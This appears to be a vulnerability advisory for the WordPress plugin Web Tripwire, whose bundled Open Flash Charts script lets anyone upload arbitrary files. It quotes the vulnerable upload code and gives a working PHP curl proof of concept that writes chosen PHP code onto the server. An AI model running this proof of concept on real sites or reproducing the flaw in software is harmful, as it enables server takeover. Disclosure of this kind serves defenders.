One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /web-tripwire/js/swfobject.js, from the plugin Web Tripwire. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.
Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.
The vulnerability exists at /includes/ofc/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:
21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
$default_path = '../tmp-upload-images/'; if (!file_exists($default_path)) mkdir($default_path, 0777, true); // full path to the saved image including filename // $destination = $default_path . basename( $_GET[ 'name' ] ); echo 'Saving your image to: '. $destination; // print_r( $_POST ); // print_r( $_SERVER ); // echo $HTTP_RAW_POST_DATA; // // POST data is usually string data, but we are passing a RAW .png // so PHP is a bit confused and $_POST is empty. But it has saved // the raw bits into $HTTP_RAW_POST_DATA // $jfh = fopen($destination, 'w') or die("can't open file"); fwrite($jfh, $HTTP_RAW_POST_DATA); fclose($jfh);
Proof of Concept
The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/web-tripwire/includes/tmp-upload-images/.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.
<?php $curl = curl_init(); $headers = array('Content-Type: text/plain'); $data ="[PHP CODE]"; curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/web-tripwire/includes/ofc/ofc_upload_image.php?name=test.php'); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_exec($curl); curl_close($curl); ?>